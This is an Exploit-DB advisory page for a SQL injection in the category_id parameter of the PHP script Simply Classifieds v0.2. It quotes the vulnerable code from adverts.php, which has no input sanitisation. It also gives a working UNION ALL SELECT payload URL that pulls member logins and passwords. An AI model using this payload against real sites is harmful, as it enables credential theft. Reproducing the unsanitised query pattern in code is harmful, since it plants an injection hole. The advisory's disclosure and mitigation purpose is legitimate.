Simply Classified v0.2 (category_id) SQL Injection Vulnerability

vendor:

Simply Classifieds

by:

G4N0K

7.5

CVSS

HIGH

SQL Injection

CWE

Product Name: Simply Classifieds

Affected Version From: 0.2

Affected Version To: 0.2

Patch Exists: NO

Related CWE: N/A

CPE: a:hotscripts:simply_classifieds

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2009

Simply Classified v0.2 (category_id) SQL Injection Vulnerability

Simply Classified v0.2 is vulnerable to SQL Injection in the category_id parameter. An attacker can exploit this vulnerability to gain access to the database and extract sensitive information such as usernames and passwords. The vulnerable code is located in the adverts.php file, lines 33-34. The exploit code is a URL with the category_id parameter set to a UNION ALL SELECT statement. This statement will concatenate the login and password fields from the members table.

Mitigation:

Input validation should be used to prevent SQL Injection attacks. All user-supplied input should be validated and filtered before being used in a SQL query.

Source

Exploit-DB raw data:

==============================================================================
                      _      _       _          _      _   _ 
                     / \    | |     | |        / \    | | | |
                    / _ \   | |     | |       / _ \   | |_| |
                   / ___ \  | |___  | |___   / ___ \  |  _  |
   IN THE NAME OF /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|
                                                             

==============================================================================
                      ____   _  _     _   _    ___    _  __
                     / ___| | || |   | \ | |  / _ \  | |/ /
                    | |  _  | || |_  |  \| | | | | | | ' / 
                    | |_| | |__   _| | |\  | | |_| | | . \ 
                     \____|    |_|   |_| \_|  \___/  |_|\_\ A Baloch From Iran

==============================================================================
	Simply Classified v0.2 (category_id) SQL Injection Vulnerability
==============================================================================

	[Â»] Script:             [ Simply Classified v0.2 ]
	[Â»] Language:           [ PHP, MySQL ]
	[Â»] Website:            [ http://www.hotscripts.com/listing/simply_classifieds/ ]
	[Â»] Type:               [ Free|OS ]
	[Â»] Today:              [ 26032009 ]
	[Â»] Founder:            [ G4N0K | mail[.]ganok[sh!t]gmail.com ]


===[ code! ]===

	[+] adverts.php, 33-34

			{...}
			<?php
				$id = $_GET['category_id']; // <== you know!
				$query = "SELECT * FROM type WHERE id=$id" ; // <== did you got it!, damn, check it again.
						$result = mysql_query($query);
						$row = mysql_fetch_array($result);
			?>
			{...}
			

	
===[ XPL ]===

	[Â»] http://127.0.0.1/classified/adverts.php?category_id=5 UNION ALL SELECT 1,2,concat(login,0x3a,passwd),4,5,6,7,8,9,10 FROM members


===[ LIVE ]===

	[Â»] N/A

	
===[ Greetz ]===

	[Â»] ALLAH

===============================================================================
 D-End...
===============================================================================

# milw0rm.com [2009-03-27]